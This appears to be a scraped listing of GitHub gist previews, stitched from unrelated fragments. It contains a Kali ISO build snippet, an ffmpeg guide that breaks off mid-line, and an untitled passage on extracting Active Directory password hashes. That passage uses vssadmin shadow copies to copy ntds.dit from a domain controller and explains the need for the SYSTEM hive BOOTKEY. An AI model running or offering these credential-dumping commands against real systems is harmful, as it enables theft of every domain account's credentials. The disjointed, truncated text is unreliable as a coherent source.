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@jgamblin
jgamblin / Kali 2.0 ISO Build
Last active June 11, 2022 14:42
Build Your Own Kali 2.0 ISO
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Install live-build
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sudo apt-get install live-build
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Git clone the live-build configs
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git clone git://git.kali.org/live-build-config.git
@protrolium
protrolium / ffmpeg.md
Last active July 21, 2025 10:36
ffmpeg guide

ffmpeg

Converting Audio into Different Formats / Sample Rates

Minimal example: transcode from MP3 to WMA:
ffmpeg -i input.mp3 output.wma

You can get the list of supported formats with:
ffmpeg -formats

You can get the list of installed codecs with:

Microsoft stores the Active Directory data in tables in a proprietary ESE database format. The database is contained in the NTDS.dit (%SystemRoot%\ntds\NTDS.dit) file.
This file is encrypted to prevent any data extraction, so we will need to acquire the key to be able to perform the extraction of the target data.
The required Password Encryption Key is stored in the NTDS.dit file, but is encrypted itself with the BOOTKEY.
To obtain this BOOTKEY, we need to acquire a copy of the SYSTEM registry hive (%SystemRoot%\System32\config\System) from the same Domain Controller as we acquired the NTDS.dit file.
Extract NTDS/SYSTEM from a domain controller:
net start vss
vssadmin create shadow /for=c:
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\temp